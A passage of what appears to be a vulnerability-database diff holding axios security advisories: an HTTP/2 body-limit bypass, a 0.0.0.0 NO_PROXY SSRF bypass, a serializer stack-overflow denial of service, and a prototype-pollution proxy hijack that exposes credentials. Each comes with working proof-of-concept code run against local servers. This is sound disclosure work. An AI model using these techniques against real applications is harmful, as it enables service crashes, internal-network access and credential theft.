(!req.destroyed) req.destroy(err);\n });\n }\n uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from 'node:http2';\nimport { Readable } from 'node:stream';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on('stream', (stream, _headers) => {\n let received = 0;\n stream.on('data', (chunk) => {\n received += chunk.length;\n });\n stream.on('end', () => {\n stream.respond({\n ':status': 200,\n 'content-type': 'application/json',\n });\n stream.end(JSON.stringify({ received, limit: LIMIT }));\n });\n stream.on('error', () => {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n let remaining = totalBytes;\n return new Readable({\n read() {\n if (remaining <= 0) {\n this.push(null);\n return;\n }\n const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n // We intentionally do NOT set maxRedirects: 0 — that flag activates the\n // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n // HTTP/2 transport path skips that wrapper entirely.\n headers: { 'content-type': 'application/octet-stream' },\n // Omit content-length so the body is streamed without a known length.\n });\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err && (err.code || err.message) };\n }\n\n console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');\n console.log('axios result:', JSON.stringify(result));\n\n const ok =\n result &&\n result.status === 200 &&\n result.data &&\n typeof result.data === 'object' &&\n result.data.received === PAYLOAD_BYTES &&\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // http2 sessions cached by axios may keep the event loop alive; force exit\n // after the assertion so the script returns instead of idling on TCP keep-alive.\n setImmediate(() => process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.\n
", "info": [ @@ -9474,7 +9513,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));\n```\n\nBecause `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\nconst listen = (handler, host = '127.0.0.1') =>\n new Promise((resolve) => {\n const server = http.createServer(handler);\n server.listen(0, host, () => resolve(server));\n });\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst origin = await listen((req, res) => res.end('origin'), '0.0.0.0');\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) => {\n proxyRequests += 1;\n res.end('proxied');\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = 'localhost,127.0.0.1,::1';\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n await close(origin);\n await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n
\nOriginal Report\n\n### Summary\n`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`>= 1.15.0, <= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 — static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set\n if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0\n return isIPv6Loopback(host);\n};\n\nisLoopback('0.0.0.0') returns false.\n\nNode's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n'use strict';\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised\nconsole.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)\nconsole.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true\nconsole.log(isLoopback('127.0.0.1')); // → true ← correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0 ← NOT normalised by URL parser\n127.0.0.1 ← octal normalised correctly\n127.0.0.1 ← decimal normalised correctly\nfalse ← 0.0.0.0 not detected as loopback ⚠\ntrue ← 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n…can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set(['localhost']);\n+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) => host === '0.0.0.0';\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n if (isIPv4Loopback(host)) return true;\n if (isIPv4Unspecified(host)) return true; // add this line\n return isIPv6Loopback(host);\n};\n
", "info": [ @@ -9496,7 +9538,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "details": "## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n key = metaTokens ? key : key.slice(0, -2);\n value = JSON.stringify(value);\n }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth > maxDepth) {\n throw new AxiosError(\n 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n const head = {};\n let cur = head;\n\n for (let i = 0; i < depth; i += 1) {\n cur.x = {};\n cur = cur.x;\n }\n\n return head;\n}\n\ntry {\n toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n
\nOriginal Report\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData`\n- `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value && !path && typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth > maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) => {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": <8000-deep object>}\n// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d > maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v && typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () => Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n
", "info": [ @@ -9519,7 +9564,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "details": "## Summary\n\nAxios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from './index.js';\nimport http from 'node:http';\n\nfor (const key of [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n]) {\n delete process.env[key];\n}\n\nconst listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n});\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) => {\n targetHits.push(req.url);\n res.end('target');\n});\n\nconst proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n authorization: req.headers.authorization,\n host: req.headers.host,\n body\n });\n res.setHeader('content-type', 'application/json');\n res.end('{\"server\":\"proxy\"}');\n });\n});\n\nObject.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n\ntry {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const res = await api.post(\n url,\n {secret: 'request-body-secret'},\n {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}\n );\n\n console.log({\n response: res.data,\n targetHits,\n proxyHits,\n finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')\n });\n} finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with the application.\n\n
\nOriginal Report\n\n## Summary\n\n Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n ## Impact\n\n In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n request interceptor that returns a plain object copy of the config.\n\n Verified local impact:\n\n - Authenticated request redirection to attacker-controlled proxy.\n - Disclosure of explicit Authorization headers.\n - Disclosure of axios-generated Basic auth headers from config.auth.\n - Disclosure of request metadata: method, absolute URL, Host header.\n - Disclosure of POST body content.\n\n This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n ## Affected component\n\n The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n The issue requires:\n\n - Node.js HTTP adapter usage.\n - A polluted Object.prototype.proxy.\n - A request interceptor that returns a plain object copy of the config.\n - No own proxy: false or safe own proxy property on the request config.\n\n ## Affected versions\n\n Confirmed affected for this specific hardening-bypass variant:\n\n - axios@1.15.2\n - axios@1.16.0\n\n axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n Related older behavior observed during testing:\n\n - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n ## Root cause\n\n 1. Initial hardening\n\n Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n 2. Interceptor re-materialization\n\n Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n prototype config back into a normal object with Object.prototype as its prototype.\n Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n 3. No post-interceptor re-hardening\n\n Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n 4. Prototype-chain read of proxy in the Node adapter\n\n The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n redirect the outgoing authenticated request through an attacker-controlled proxy.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n ## Why this is a security issue and not intended behavior\n\n Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n ## Realistic threat model\n\n A realistic exploit chain is:\n\n 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n 4. The application sends an HTTP request with credentials or sensitive body data.\n 5. Axios routes that request through the inherited proxy configuration.\n\n This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n ## Proof of concept\n\n Save as 